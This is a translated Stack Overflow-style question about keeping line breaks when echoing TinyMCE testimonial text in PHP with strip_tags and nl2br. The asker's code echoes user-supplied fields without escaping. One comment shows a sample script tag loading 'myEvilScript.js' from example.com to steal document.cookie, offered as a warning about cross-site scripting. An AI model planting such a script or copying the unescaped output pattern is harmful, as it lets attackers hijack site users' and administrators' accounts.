【发布时间】:2016-12-21 10:34:56
【问题描述】:
我有一个变量$pesan,其中包含这样的字符串:<p> Hi </p> <p> Hello </p>
我使用 PHP 来回显这个代码:echo" \"$pesan\"<br/>-Anon";
我希望输出是这样的:
"HiHello"-Anon
但我得到的是这样的:
<p> Hi </p><p> Hello</p><br /> -Anon"
我意识到它变成了这样,因为 html 标签<p> 仍然存在,所以我用strip_tags($pesan); 将其删除,输出是这样的"hi Hello -Anon"
换行符消失了...所以我尝试添加nl2br()希望像strip_tags(nl2br($pesan));那样保留换行符
但输出还是和"Hi Hello -Anon"一样
我使用的代码:
<?php
$pesan = strip_tags(nl2br($r[pesan]));
echo"<div class='wrap-testi'>
<div class='gambar-testi'><img width='100%' src='../testimoni/$r[gambar]'/></div>
<div class='preview-testi'>
<span>\"$pesan\"<br /><br />-$r[nama]</span></div>
</div>
?>
预期输出:
"Hi
Hello"
-anon
请告诉我如何实现这一目标
【问题讨论】:
-
你真的想要输出中的
标签吗?
是一个块级元素,这意味着它的行为就像它之前和之后有换行符一样。
默认也有顶部/底部边距。
-
不是真的想要那个
... 但我正在使用 tinymce 文本编辑器输入证词消息,当我回显包含的变量时,我不知道保留换行符的正确方法里面的见证
-
不要让任何人在您的网站上留下 HTML 消息 - 这是一个安全问题。仅纯文本 - 这意味着您根本不会遇到这个问题:)
-
是这样吗?但我应该怎么做才能做到这一点?如果我知道如何在回显时保留没有 html 标记的换行符
-
如果我可以将
<script src='http://example.com/myEvilScript.js'></script>放在stackoverflow cmets 上,那将是相当尴尬的——myEvilScript 会抓取document.cookie并将其上传到某个地方。这将使我能够完全控制您的帐户(以及在您的网站上,这可能会意外地让管理员访问您的服务器,因此可能会非常严重)。